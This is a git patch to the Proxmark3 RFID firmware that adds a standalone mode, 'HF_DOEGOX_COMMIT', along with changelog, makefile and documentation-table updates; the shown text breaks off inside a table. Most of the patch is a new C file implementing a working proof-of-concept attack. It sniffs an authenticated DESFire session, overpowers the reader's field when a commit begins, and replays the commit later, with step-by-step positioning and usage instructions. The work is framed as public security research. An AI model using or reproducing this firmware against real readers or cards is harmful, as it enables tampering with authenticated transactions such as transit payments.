From 10fdef1811e5959bc9cfd1ee9dc3bf5f5b81465e Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Fri, 19 Jun 2026 15:31:32 +0200 Subject: [PATCH] standalone mode `HF_DOEGOX_COMMIT`: DESFire suspended commit without relay --- CHANGELOG.md | 3 +- armsrc/Standalone/Makefile.hal | 249 +++++----- armsrc/Standalone/Makefile.inc | 4 + armsrc/Standalone/hf_doegox_auth0.c | 3 - armsrc/Standalone/hf_doegox_commit.c | 430 ++++++++++++++++++ armsrc/Standalone/readme.md | 3 +- .../4_Advanced-compilation-parameters.md | 85 ++-- tools/build_all_firmwares.sh | 2 +- 8 files changed, 608 insertions(+), 171 deletions(-) create mode 100644 armsrc/Standalone/hf_doegox_commit.c diff --git a/CHANGELOG.md b/CHANGELOG.md index c2408f279..bd70e4e0a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,7 +3,8 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] -- Add support for Innovatron protocol detection to `hf 14b info` (@kormax) +- Added standalone mode `HF_DOEGOX_COMMIT`: DESFire suspended commit without relay (@doegox) +- Added support for Innovatron protocol detection to `hf 14b info` (@kormax) - Improved `lf cotag reader` and `lf cotag demod`: Reimplementation and enhancement of proxmark3 COTAG support - Added `hf felica sim` command (@kormax) - Added `mad read`, `mad write`, `mad verify`, `mad decode`, `mad encode` commands with typed struct MAD API (@AlxCzl) diff --git a/armsrc/Standalone/Makefile.hal b/armsrc/Standalone/Makefile.hal index 028c48233..739c5ce76 100644 --- a/armsrc/Standalone/Makefile.hal +++ b/armsrc/Standalone/Makefile.hal @@ -21,134 +21,137 @@ STANDALONE?=$(DEFAULT_STANDALONE) STANDALONE_REQ_DEFS= define KNOWN_STANDALONE_DEFINITIONS -+==========================================================+ -| STANDALONE | DESCRIPTION | -+==========================================================+ -| (empty) | No standalone mode | -+----------------------------------------------------------+ -| LF_SKELETON | standalone mode skeleton | -| | - iceman | -+----------------------------------------------------------+ -| LF_EM4100EMUL | Simulate predefined em4100 tags only | -| | | -+----------------------------------------------------------+ -| LF_EM4100RSWB | Read/simulate/brute em4100 tags & | -| | clone it to T555x tags | -+----------------------------------------------------------+ -| LF_EM4100RSWW | Read/simulate/validate em4100 tags & | -| | clone it to T55xx tags, wipe T55xx tags| -+----------------------------------------------------------+ -| LF_EM4100RWC | Read/simulate em4100 tags & clone it | -| | to T555x tags | -+----------------------------------------------------------+ -| LF_HIDBRUTE | HID corporate 1000 bruteforce | -| | - Federico dotta & Maurizio Agazzini | -+----------------------------------------------------------+ -| LF_HIDFCBRUTE | HID Facility Code bruteforce | -| (RDV4 only) | | -+----------------------------------------------------------+ -| LF_ICEHID | LF HID collector to flashmem | -| (RDV4 only) | | -+----------------------------------------------------------+ -| LF_MULTIHID | LF HID 26 Bit (H1031) multi simulator | -| | - Shain Lakin | -+----------------------------------------------------------+ -| LF_NEDAP_SIM | LF Nedap ID simple simulator | -| | | -+----------------------------------------------------------+ -| LF_NEXID | LF Nexwatch collector to flashmem | -| (RDV4 only) | | -+----------------------------------------------------------+ -| LF_PROXBRUTE | HID ProxII bruteforce | -| | - Brad Antoniewicz | -+----------------------------------------------------------+ -| LF_PROX2BRUTE | HID ProxII bruteforce v2 | -| | | -+----------------------------------------------------------+ -| LF_SAMYRUN | HID26 read/clone/sim | -| (default) | - Samy Kamkar | -+----------------------------------------------------------+ -| LF_THAREXDE | Simulate/read EM4x50 tags | -| (RDV4 only) | storing in flashmem | -+----------------------------------------------------------+ -| HF_14ASNIFF | 14a sniff to flashmem (rdv4) or ram | -| | | -+----------------------------------------------------------+ -| HF_14BSNIFF | 14b sniff to flashmem (rdv4) or ram | -| | | -+----------------------------------------------------------+ -| HF_15SNIFF | 15693 sniff to flashmem (rdv4) or ram | -| | | -+----------------------------------------------------------+ -| HF_15SIM | 15693 tag simulator | -| | | -+----------------------------------------------------------+ -| HF_AVEFUL | Mifare ultralight read/simulation | -| | - Ave Ozkal | -+----------------------------------------------------------+ -| HF_BOG | 14a sniff with ULC/ULEV1/NTAG auth | -| (RDV4 only) | storing in flashmem - Bogito | -+----------------------------------------------------------+ -| HF_CARDHOPPER | Relay 14a protocols over long distances| -| (RDV4 only) | (w/ IP backbone) - Sam Haskins | -+----------------------------------------------------------+ -| HF_COLIN | Mifare ultra fast sniff/sim/clone | -| (RDV4 only) | - Colin Brigato | -+----------------------------------------------------------+ -| HF_CRAFTBYTE | UID stealer - Emulates scanned 14a UID | -| | - Anze Jensterle | -+----------------------------------------------------------+ -| HF_DOEGOX_AUTH0 | UL-C / UL-AES unlocker | -| | - Philippe Teuwen | -+----------------------------------------------------------+ -| HF_ICECLASS | Simulate HID iCLASS legacy ags | -| (RDV4 only) | storing in flashmem | -+----------------------------------------------------------+ -| HF_LEGIC | Read/simulate Legic Prime tags | -| | storing in flashmem | -+----------------------------------------------------------+ -| HF_LEGICSIM | Simulate Legic Prime tags | -| (RDV4 only) | stored on flashmem | -+----------------------------------------------------------+ -| HF_MATTYRUN | Mifare sniff/clone | -| | - Matías A. Ré Medina | -+----------------------------------------------------------+ -| HF_MFCSIM | Simulate Mifare Classic 1k card | -| (RDV4 only) | storing in flashmem - Ray Lee | -+----------------------------------------------------------+ -| HF_MSDSAL | Read and emulate MSD Visa cards | -| | - Salvador Mendoza | -+----------------------------------------------------------+ -| HF_REBLAY | 14A Relay over BT | -| (RDV4 only) | - Salvador Mendoza | -+----------------------------------------------------------+ -| HF_ST25_TEAROFF | Store/restore ST25TB tags with | -| | tear-off for counters - SecLabz | -+----------------------------------------------------------+ -| HF_TCPRST | IKEA Rothult read/sim/dump/emul | -| | - Nick Draffen | -+----------------------------------------------------------+ -| HF_TMUDFORD | Read and emulate 15 tags | -| | - Tim Mudford | -+----------------------------------------------------------+ -| HF_UNISNIFF | Sniff 14a/14b/15 (optionally to flash) | -| | - hazardousvoltage | -+----------------------------------------------------------+ -| HF_YOUNG | Mifare sniff/simulation | -| | - Craig Young | -+----------------------------------------------------------+ -| DANKARMULTI | Load multiple standalone modes. | -| | - Daniel Karling | -+----------------------------------------------------------+ -| HF_EMVPNG | Read and emulate EMV Visa cards | -| | - Davi Mikael (Penegui) | -+----------------------------------------------------------+ ++===========================================================+ +| STANDALONE | DESCRIPTION | ++===========================================================+ +| (empty) | No standalone mode | ++-----------------------------------------------------------+ +| LF_SKELETON | standalone mode skeleton | +| | - iceman | ++-----------------------------------------------------------+ +| LF_EM4100EMUL | Simulate predefined em4100 tags only | +| | | ++-----------------------------------------------------------+ +| LF_EM4100RSWB | Read/simulate/brute em4100 tags & | +| | clone it to T555x tags | ++-----------------------------------------------------------+ +| LF_EM4100RSWW | Read/simulate/validate em4100 tags & | +| | clone it to T55xx tags, wipe T55xx tags| ++-----------------------------------------------------------+ +| LF_EM4100RWC | Read/simulate em4100 tags & clone it | +| | to T555x tags | ++-----------------------------------------------------------+ +| LF_HIDBRUTE | HID corporate 1000 bruteforce | +| | - Federico dotta & Maurizio Agazzini | ++-----------------------------------------------------------+ +| LF_HIDFCBRUTE | HID Facility Code bruteforce | +| (RDV4 only) | | ++-----------------------------------------------------------+ +| LF_ICEHID | LF HID collector to flashmem | +| (RDV4 only) | | ++-----------------------------------------------------------+ +| LF_MULTIHID | LF HID 26 Bit (H1031) multi simulator | +| | - Shain Lakin | ++-----------------------------------------------------------+ +| LF_NEDAP_SIM | LF Nedap ID simple simulator | +| | | ++-----------------------------------------------------------+ +| LF_NEXID | LF Nexwatch collector to flashmem | +| (RDV4 only) | | ++-----------------------------------------------------------+ +| LF_PROXBRUTE | HID ProxII bruteforce | +| | - Brad Antoniewicz | ++-----------------------------------------------------------+ +| LF_PROX2BRUTE | HID ProxII bruteforce v2 | +| | | ++-----------------------------------------------------------+ +| LF_SAMYRUN | HID26 read/clone/sim | +| (default) | - Samy Kamkar | ++-----------------------------------------------------------+ +| LF_THAREXDE | Simulate/read EM4x50 tags | +| (RDV4 only) | storing in flashmem | ++-----------------------------------------------------------+ +| HF_14ASNIFF | 14a sniff to flashmem (rdv4) or ram | +| | | ++-----------------------------------------------------------+ +| HF_14BSNIFF | 14b sniff to flashmem (rdv4) or ram | +| | | ++-----------------------------------------------------------+ +| HF_15SNIFF | 15693 sniff to flashmem (rdv4) or ram | +| | | ++-----------------------------------------------------------+ +| HF_15SIM | 15693 tag simulator | +| | | ++-----------------------------------------------------------+ +| HF_AVEFUL | Mifare ultralight read/simulation | +| | - Ave Ozkal | ++-----------------------------------------------------------+ +| HF_BOG | 14a sniff with ULC/ULEV1/NTAG auth | +| (RDV4 only) | storing in flashmem - Bogito | ++-----------------------------------------------------------+ +| HF_CARDHOPPER | Relay 14a protocols over long distances| +| (RDV4 only) | (w/ IP backbone) - Sam Haskins | ++-----------------------------------------------------------+ +| HF_COLIN | Mifare ultra fast sniff/sim/clone | +| (RDV4 only) | - Colin Brigato | ++-----------------------------------------------------------+ +| HF_CRAFTBYTE | UID stealer - Emulates scanned 14a UID | +| | - Anze Jensterle | ++-----------------------------------------------------------+ +| HF_DOEGOX_AUTH0 | UL-C / UL-AES unlocker | +| | - Philippe Teuwen | ++-----------------------------------------------------------+ +| HF_DOEGOX_COMMIT | DESFire suspended commit | +| | - Philippe Teuwen | ++-----------------------------------------------------------+ +| HF_ICECLASS | Simulate HID iCLASS legacy ags | +| (RDV4 only) | storing in flashmem | ++-----------------------------------------------------------+ +| HF_LEGIC | Read/simulate Legic Prime tags | +| | storing in flashmem | ++-----------------------------------------------------------+ +| HF_LEGICSIM | Simulate Legic Prime tags | +| (RDV4 only) | stored on flashmem | ++-----------------------------------------------------------+ +| HF_MATTYRUN | Mifare sniff/clone | +| | - Matías A. Ré Medina | ++-----------------------------------------------------------+ +| HF_MFCSIM | Simulate Mifare Classic 1k card | +| (RDV4 only) | storing in flashmem - Ray Lee | ++-----------------------------------------------------------+ +| HF_MSDSAL | Read and emulate MSD Visa cards | +| | - Salvador Mendoza | ++-----------------------------------------------------------+ +| HF_REBLAY | 14A Relay over BT | +| (RDV4 only) | - Salvador Mendoza | ++-----------------------------------------------------------+ +| HF_ST25_TEAROFF | Store/restore ST25TB tags with | +| | tear-off for counters - SecLabz | ++-----------------------------------------------------------+ +| HF_TCPRST | IKEA Rothult read/sim/dump/emul | +| | - Nick Draffen | ++-----------------------------------------------------------+ +| HF_TMUDFORD | Read and emulate 15 tags | +| | - Tim Mudford | ++-----------------------------------------------------------+ +| HF_UNISNIFF | Sniff 14a/14b/15 (optionally to flash) | +| | - hazardousvoltage | ++-----------------------------------------------------------+ +| HF_YOUNG | Mifare sniff/simulation | +| | - Craig Young | ++-----------------------------------------------------------+ +| DANKARMULTI | Load multiple standalone modes. | +| | - Daniel Karling | ++-----------------------------------------------------------+ +| HF_EMVPNG | Read and emulate EMV Visa cards | +| | - Davi Mikael (Penegui) | ++-----------------------------------------------------------+ endef STANDALONE_MODES := LF_SKELETON STANDALONE_MODES += LF_EM4100EMUL LF_EM4100RSWB LF_EM4100RSWW LF_EM4100RWC LF_HIDBRUTE LF_HIDFCBRUTE LF_ICEHID LF_MULTIHID LF_NEDAP_SIM LF_NEXID LF_PROXBRUTE LF_PROX2BRUTE LF_SAMYRUN LF_THAREXDE -STANDALONE_MODES += HF_14ASNIFF HF_14BSNIFF HF_15SNIFF HF_15SIM HF_AVEFUL HF_BOG HF_CARDHOPPER HF_COLIN HF_CRAFTBYTE HF_DOEGOX_AUTH0 HF_ICECLASS HF_LEGIC HF_LEGICSIM HF_MATTYRUN HF_MFCSIM HF_MSDSAL HF_REBLAY HF_ST25_TEAROFF HF_TCPRST HF_TMUDFORD HF_UNISNIFF HF_YOUNG HF_EMVPNG +STANDALONE_MODES += HF_14ASNIFF HF_14BSNIFF HF_15SNIFF HF_15SIM HF_AVEFUL HF_BOG HF_CARDHOPPER HF_COLIN HF_CRAFTBYTE HF_DOEGOX_AUTH0 HF_DOEGOX_COMMIT HF_ICECLASS HF_LEGIC HF_LEGICSIM HF_MATTYRUN HF_MFCSIM HF_MSDSAL HF_REBLAY HF_ST25_TEAROFF HF_TCPRST HF_TMUDFORD HF_UNISNIFF HF_YOUNG HF_EMVPNG STANDALONE_MODES += DANKARMULTI STANDALONE_MODES_REQ_BT := HF_CARDHOPPER HF_REBLAY STANDALONE_MODES_REQ_SMARTCARD := diff --git a/armsrc/Standalone/Makefile.inc b/armsrc/Standalone/Makefile.inc index 0358cd510..c54602187 100644 --- a/armsrc/Standalone/Makefile.inc +++ b/armsrc/Standalone/Makefile.inc @@ -117,6 +117,10 @@ endif ifneq (,$(findstring WITH_STANDALONE_HF_DOEGOX_AUTH0,$(APP_CFLAGS))) SRC_STANDALONE = hf_doegox_auth0.c endif +# WITH_STANDALONE_HF_DOEGOX_COMMIT +ifneq (,$(findstring WITH_STANDALONE_HF_DOEGOX_COMMIT,$(APP_CFLAGS))) + SRC_STANDALONE = hf_doegox_commit.c +endif # WITH_STANDALONE_HF_ICECLASS ifneq (,$(findstring WITH_STANDALONE_HF_ICECLASS,$(APP_CFLAGS))) SRC_STANDALONE = hf_iceclass.c diff --git a/armsrc/Standalone/hf_doegox_auth0.c b/armsrc/Standalone/hf_doegox_auth0.c index 51ebfb4ab..c1796ff2a 100644 --- a/armsrc/Standalone/hf_doegox_auth0.c +++ b/armsrc/Standalone/hf_doegox_auth0.c @@ -79,9 +79,6 @@ #include "commonutil.h" #include "BigBuf.h" -#define DELAY_READER_AIR2ARM_AS_SNIFFER (2 + 3 + 8) -#define DELAY_TAG_AIR2ARM_AS_SNIFFER (3 + 14 + 8) - typedef enum { ST_LOOK_FOR_CARD = 0, ST_SNIFF_AUTH, diff --git a/armsrc/Standalone/hf_doegox_commit.c b/armsrc/Standalone/hf_doegox_commit.c new file mode 100644 index 000000000..89dc91b20 --- /dev/null +++ b/armsrc/Standalone/hf_doegox_commit.c @@ -0,0 +1,430 @@ +//----------------------------------------------------------------------------- +// Copyright (C) Philippe Teuwen, 2026 +// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// See LICENSE.txt for the text of the license. +//----------------------------------------------------------------------------- +// +// Standalone mode: Suspend commit on DESFire +// +// Disclaimer: +// This is a proof of concept, not a polished tool. +// +// Description: +// It attempts to take over an authenticated session between a reader and +// a DESFire tag, and suspend the commit operation. +// In principle, this requires a relay attack implying two Proxmark3 devices, +// but this code allows to do it with a single Proxmark3. +// The original relay attack was presented by Rory Flynn in his thesis +// "An investigation of possible attacks on the MIFARE DESFire EV1 smartcard used in public transportation", 2019 +// +// Principle of operation: +// It starts as a sniffer, waiting for a commit operation between a reader and a tag. +// Once it detects the beginning of a reader commit command, it waits until the CRC is about to come in, then +// it quickly switches to reader mode to take over the reader field. +// If the tag is positioned to have a much stronger coupling with the Proxmark3 +// than with the reader, the Proxmark3 field will obliterate the reader field, +// keeping the tag powered and blocking the reader's commands. +// Then, once the reader is moved away, the Proxmark3 can recompute the CRC and send the commit command. +// +// Relative positions are important: +// - Ensure a good coupling between tag and RDV4 +// - Try to get the reader authenticating the tag from as far as possible, with the RDV4 directly behind the tag +// - Still, you may need to come a bit closer if the RDV4 cannot sniff properly the communication +// +// Limitations: +// - So far, it only works with RDV4 (which has a 9V antenna driver vs. the 5V of Easy versions) +// - EV3 may have a Transaction Timer configured as a countermeasure. EV1 and EV2 do not have this timer. +// +// Tested modes: +// - RDV4 + MF3D42 + RDV4 "hf mfdes write ... --algo aes --commit" +// +// Usage: +// LEDS: 0 = off, 1 = on, * = blink A B C D +// ------------------------------------------------------------------------ +// Start standalone mode => * 0 0 1 +// Place a DESFire tag on the Proxmark3 +// if the pm3 detects it: => 1 * 0 0 +// Bring tag and pm3 slowly towards the authenticating reader +// if the pm3 detects a commit command: => 1 1 * 0 +// Pull the tag and Proxmark3 together away from the reader +// Press the button 1 second and release it +// if the pm3 managed to commit: => 1 1 1 1 +// if it failed to commit, D will blink very fast => 1 1 1 * +// Press the button and release it +// exit standalone mode => 0 0 0 0 + + +#include "standalone.h" // standalone definitions +#include "proxmark3_arm.h" +#include "fpgaloader.h" +#include "iso14443a.h" +#include "util.h" +#include "appmain.h" +#include "dbprint.h" +#include "ticks.h" +#include "protocols.h" +#include "mifareutil.h" +#include "string.h" +#include "commonutil.h" +#include "BigBuf.h" + +typedef enum { + ST_LOOK_FOR_CARD = 0, + ST_SNIFF_COMMIT, + ST_WAIT_BUTTON, + ST_WAIT_BUTTON_RELEASE, + ST_COMMIT, + ST_EXIT +} state_t; + +typedef enum { + TAG_NONE = 0, + TAG_MFDES, + TAG_OTHER, +} tag_t; + +static uint8_t commitCmd[256]; +static uint16_t commitCmdLen; + +static void blink_led_slow(uint8_t led) { + LED(led, 1); + SpinDelay(200); + LED(led, 0); + SpinDelay(200); +} + +static void blink_led_fast(uint8_t led) { + LED(led, 1); + SpinDelay(40); + LED(led, 0); + SpinDelay(40); +} + +static bool find_tag(tag_t *tag_type) { + *tag_type = TAG_NONE; + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + LED_D_OFF(); + iso14a_card_select_t card; + if (iso14443a_select_card(NULL, &card, NULL, true, 0, false) == false) { + goto out; + } + + Dbprintf("Found card with SAK: %02X, ATQA: %02X %02X", card.sak, card.atqa[0], card.atqa[1]); + if (card.sak != 0x20) { + *tag_type = TAG_OTHER; + DbpString("Not a DESFire tag. Ignoring..."); + goto out; + } + uint8_t version[10] = {0x00}; + uint16_t version_len = 0; + uint8_t version_cmd[8] = {0x02, 0x90, MFDES_GET_VERSION, 0x00, 0x00, 0x00, 0x00, 0x00}; + AddCrc14A(version_cmd, sizeof(version_cmd) - 2); + ReaderTransmit(version_cmd, sizeof(version_cmd), NULL); + version_len = ReaderReceive(version, ARRAYLEN(version), NULL); + // Dbprintf("GetVersion resp(%u):", version_len); + // Dbhexdump(version_len, version, 0); + if ((version_len >= 3) && (version[1] == 0x04) && ((version[2] & 0x0F) == 0x01)) { + *tag_type = TAG_MFDES; + DbpString("Found DESFire"); + goto out; + } + *tag_type = TAG_OTHER; +out: + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + return *tag_type != TAG_NONE; +} + +static tUart14a *uart; +static tDemod14a *demod; + +// Derived from SniffIso14443a +// wait for commit command +static bool RAMFUNC sniff_wait_for_commit(tag_t type) { + + iso14443a_setup(FPGA_HF_ISO14443A_SNIFFER); + + // Allocate memory from BigBuf for some buffers + // free all previous allocations first + BigBuf_free(); + BigBuf_Clear_ext(false); + bool found_commit = false; + + // The command (reader -> tag) that we're receiving. + uint8_t *receivedCmd = BigBuf_calloc(MAX_FRAME_SIZE); + uint8_t *receivedCmdPar = BigBuf_calloc(MAX_PARITY_SIZE); + + // The response (tag -> reader) that we're receiving. + uint8_t *receivedResp = BigBuf_calloc(MAX_FRAME_SIZE); + uint8_t *receivedRespPar = BigBuf_calloc(MAX_PARITY_SIZE); + + uint8_t previous_data = 0; + int maxDataLen = 0, dataLen; + bool TagIsActive = false; + bool ReaderIsActive = false; + + // Set up the demodulator for tag -> reader responses. + Demod14aInit(receivedResp, MAX_FRAME_SIZE, receivedRespPar); + + // Set up the demodulator for the reader -> tag commands + Uart14aInit(receivedCmd, MAX_FRAME_SIZE, receivedCmdPar); + + // The DMA buffer, used to stream samples from the FPGA + dmabuf8_t *dma = get_dma8(); + uint8_t *data = dma->buf; + + // Setup and start DMA. + if (FpgaSetupSscDma((uint8_t *) dma->buf, DMA_BUFFER_SIZE) == false) { + if (g_dbglevel > DBG_ERROR) Dbprintf("FpgaSetupSscDma failed. Exiting"); + goto out; + } + + uint32_t rx_samples = 0; + + // loop and listen + uint32_t ledb_counter = 0; + while (BUTTON_PRESS() == false) { + register int readBufDataP = data - dma->buf; + register int dmaBufDataP = DMA_BUFFER_SIZE - AT91C_BASE_PDC_SSC->PDC_RCR; + if (readBufDataP <= dmaBufDataP) { + dataLen = dmaBufDataP - readBufDataP; + } else { + dataLen = DMA_BUFFER_SIZE - readBufDataP + dmaBufDataP; + } + + // test for length of buffer + if (dataLen > maxDataLen) { + maxDataLen = dataLen; + if (dataLen > (9 * DMA_BUFFER_SIZE / 10)) { + Dbprintf("[!] blew circular buffer! | datalen %u counter %u", dataLen, ledb_counter); + break; + } + } + if (dataLen < 1) { + continue; + } + WDT_HIT(); + if (ledb_counter++ > 100000) { + LED_B_INV(); + ledb_counter = 0; + } + + // primary buffer was stopped( <-- we lost data! + if (AT91C_BASE_PDC_SSC->PDC_RCR == 0) { + AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) dma->buf; + AT91C_BASE_PDC_SSC->PDC_RCR = DMA_BUFFER_SIZE; + // Dbprintf("[-] RxEmpty ERROR | data length %d", dataLen); // temporary + } + // secondary buffer sets as primary, secondary buffer was stopped + if (AT91C_BASE_PDC_SSC->PDC_RNCR == 0) { + AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) dma->buf; + AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE; + } + + // Need two samples to feed Miller and Manchester-Decoder + if (rx_samples & 0x01) { + + if (!TagIsActive) { // no need to try decoding reader data if the tag is sending + uint8_t readerdata = (previous_data & 0xF0) | (*data >> 4); + if (MillerDecoding(readerdata, (rx_samples - 1) * 4)) { + // Dbprintf("Received reader command (%i):", uart->len); + // Dbhexdump(uart->len, receivedCmd, 0); + // ready to receive another command + Uart14aReset(); + // reset the demod code, which might have been + // false-triggered by the commands from the reader + Demod14aReset(); + } else { + if ((uart->bitCount == 0) && + (uart->len == 6) && + (receivedCmd[1] == 0x90) && + (receivedCmd[2] == 0xC7)) { + // Dbprintf("Partial commit command (%i):", uart->len); + // Dbhexdump(uart->len, receivedCmd, 0); + memcpy(commitCmd, receivedCmd, uart->len); + commitCmdLen = uart->len + 2; + found_commit = true; + goto out; + } + } + + ReaderIsActive = (uart->state != STATE_14A_UNSYNCD); + } + + // no need to try decoding tag data if the reader is sending - and we cannot afford the time + if (!ReaderIsActive) { + uint8_t tagdata = (previous_data << 4) | (*data & 0x0F); + if (ManchesterDecoding(tagdata, 0, (rx_samples - 1) * 4)) { + // Dbprintf("Received tag response (%i):", demod->len); + // Dbhexdump(demod->len, receivedResp, 0); + + // ready to receive another response. + Demod14aReset(); + // reset the Miller decoder including its (now outdated) input buffer + Uart14aReset(); + // UartInit(receivedCmd, receivedCmdPar); + } + TagIsActive = (demod->state != DEMOD_14A_UNSYNCD); + } + } + + previous_data = *data; + rx_samples++; + data++; + if (data == dma->buf + DMA_BUFFER_SIZE) { + data = dma->buf; + } + } // end main loop +out: + if (found_commit) { + // Bring HF on to take over reader field + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + LED_D_OFF(); + } else { + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + } + FpgaDisableTracing(); + FpgaDisableSscDma(); + return found_commit; +} + +static bool commit(tag_t type) { + bool success = false; + uint8_t resp[15] = {0x00}; + uint16_t resp_len = 0; + AddCrc14A(commitCmd, 6); + ReaderTransmit(commitCmd, commitCmdLen, NULL); + resp_len = ReaderReceive(resp, ARRAYLEN(resp), NULL); + Dbprintf("Commit resp(%u): %02X %02X", resp_len, resp[resp_len - 4], resp[resp_len - 3]); + if (resp_len > 4 && resp[resp_len - 4] == 0x91 && resp[resp_len - 3] == 0x00) { + success = true; + } + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + return success; +} + +void ModInfo(void) { + DbpString("DESFire suspended commit by Philippe Teuwen"); +} + +void RunMod(void) { + state_t state = ST_LOOK_FOR_CARD; + tag_t tag_type = TAG_NONE; + + uart = GetUart14a(); + demod = GetDemod14a(); + + StandAloneMode(); + Dbprintf("Doegox DESFire suspended commit started"); + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + set_tracing(false); + LEDsoff(); + bool welcome_state_look = true; + bool welcome_state_sniff = true; + bool welcome_state_button = true; + + for (;;) { + if (state == ST_EXIT || ((state != ST_WAIT_BUTTON) && (state != ST_WAIT_BUTTON_RELEASE) && BUTTON_PRESS())) { + break; + } + + switch (state) { + case ST_LOOK_FOR_CARD: { + if (welcome_state_look) { + Dbprintf("Place a DESFire tag on the Proxmark3."); + welcome_state_look = false; + } + blink_led_slow(LED_A); + if (find_tag(&tag_type)) { + if (tag_type == TAG_MFDES) { + DbpString("Found DESFire tag!"); + state = ST_SNIFF_COMMIT; + // SpinDelay(1000); + break; + } else { + DbpString("Found other tag type, ignoring..."); + uint32_t t0 = GetTickCount(); + while (GetTickCount() - t0 < 2000) { + blink_led_fast(LED_A); + } + } + } + break; + } + case ST_SNIFF_COMMIT: { + if (welcome_state_sniff) { + Dbprintf("Bring the tag and Proxmark3 together slowly towards the authenticating reader."); + welcome_state_sniff = false; + } + LED_A_ON(); + LED_B_ON(); + if (sniff_wait_for_commit(tag_type)) { + LED_B_ON(); + LED_C_ON(); + DbpString("Reader wants to commit!"); + state = ST_WAIT_BUTTON; + } + break; + } + case ST_WAIT_BUTTON: { + if (welcome_state_button) { + Dbprintf("Pull the tag and Proxmark3 together away from the reader, then press the button."); + welcome_state_button = false; + } + LED_A_ON(); + LED_B_ON(); + blink_led_slow(LED_C); + if (BUTTON_PRESS()) { + state = ST_WAIT_BUTTON_RELEASE; + } + break; + } + case ST_WAIT_BUTTON_RELEASE: { + LED_A_ON(); + LED_B_ON(); + blink_led_slow(LED_C); + if (BUTTON_PRESS() == false) { + state = ST_COMMIT; + } + break; + } + case ST_COMMIT: { + LED_A_ON(); + LED_B_ON(); + LED_C_ON(); + if (commit(tag_type)) { + Dbprintf("Commit successful! Press the button to exit."); + LED_D_ON(); + while (!BUTTON_PRESS()) {} + } else { + Dbprintf("Commit failed. Press the button to exit."); + while (!BUTTON_PRESS()) { + blink_led_fast(LED_D); + } + } + state = ST_EXIT; + break; + } + case ST_EXIT: + break; + default: + state = ST_LOOK_FOR_CARD; + break; + } + WDT_HIT(); + } + + DbpString("Exiting"); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); +} diff --git a/armsrc/Standalone/readme.md b/armsrc/Standalone/readme.md index 25f5d94d4..e85c06cc7 100644 --- a/armsrc/Standalone/readme.md +++ b/armsrc/Standalone/readme.md @@ -60,7 +60,8 @@ As such the information inside may be false or hallucinated. | HF_CARDHOPPER | [CardHopper Relay](../../doc/standalone/hf_cardhopper.md) | Long-range 14A relay over serial/IP | RDV4 (BT) | | HF_COLIN | [VIGIKPWN](../../doc/standalone/hf_colin.md) | MIFARE Classic ultra-fast sniff/sim/clone | RDV4 (flash) | | HF_CRAFTBYTE | [CraftByte UID Stealer](../../doc/standalone/hf_craftbyte.md) | Scan and emulate ISO14443A UIDs | Generic | -| HF_DOEGOX_AUTH0 | [UL-C/UL-AES Unlocker](../../doc/standalone/hf_doegox_auth0.md) | Unlock password-protected Ultralight tags | Generic | +| HF_DOEGOX_AUTH0 | [UL-C/UL-AES Unlocker](../../doc/standalone/hf_doegox_auth0.md) | Unlock password-protected Ultralight tags | RDV4 (antenna) | +| HF_DOEGOX_COMMIT | [DESFire suspended commit](../../doc/standalone/hf_doegox_commit.md) | DESFire Suspend commit without relay | RDV4 (antenna) | | HF_EMVPNG | [EMV Visa Reader/Emulator](../../doc/standalone/hf_emvpng.md) | Read Visa EMV cards and emulate transactions | RDV4 (flash) | | HF_ICECLASS | [IceClass iCLASS](../../doc/standalone/hf_iceclass.md) | iCLASS multi-mode: sim/dump/attack/config | RDV4 (flash) | | HF_LEGIC | [Legic Prime Reader](../../doc/standalone/hf_legic.md) | Read and simulate Legic Prime tags | Generic | diff --git a/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md b/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md index 96759a9cf..c871e6d46 100644 --- a/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md +++ b/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md @@ -117,48 +117,49 @@ The Iceman repository gives you to easily choose which standalone mode to embed Documentation for each standalone mode can be found in the [Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation). Here are the supported values you can assign to `STANDALONE` in `Makefile.platform`: -| STANDALONE | DESCRIPTION | -|-----------------|----------------------------------------| -| | No standalone mode -| LF_EM4100EMUL | LF EM4100 simulator standalone mode - temskiy -| LF_EM4100RSWB | LF EM4100 read/write/clone/brute mode - Monster1024 -| LF_EM4100RSWW | LF EM4100 read/write/clone/validate/wipe mode - Łukasz "zabszk" Jurczyk -| LF_EM4100RWC | LF EM4100 read/write/clone mode - temskiy -| LF_HIDBRUTE | HID corporate 1000 bruteforce - Federico dotta & Maurizio Agazzini -| LF_HIDFCBRUTE | LF HID facility code bruteforce - ss23 -| LF_ICEHID | LF HID collector to flashmem - Iceman1001 -| LF_MULTIHID | LF HID 26 Bit (H1031) multi simulator - Shain Lakin -| LF_NEDAP_SIM | LF Nedap ID simulator -| LF_NEXID | Nexwatch credentials detection mode - jrjgjk & Zolorah -| LF_PROXBRUTE | HID ProxII bruteforce - Brad Antoniewicz -| LF_PROX2BRUTE | HID ProxII bruteforce v2 - Yann Gascuel -| LF_SAMYRUN (def)| HID26 read/clone/sim - Samy Kamkar -| LF_SKELETON | standalone mode skeleton - Iceman1001 -| LF_THAREXDE | LF EM4x50 simulator/read 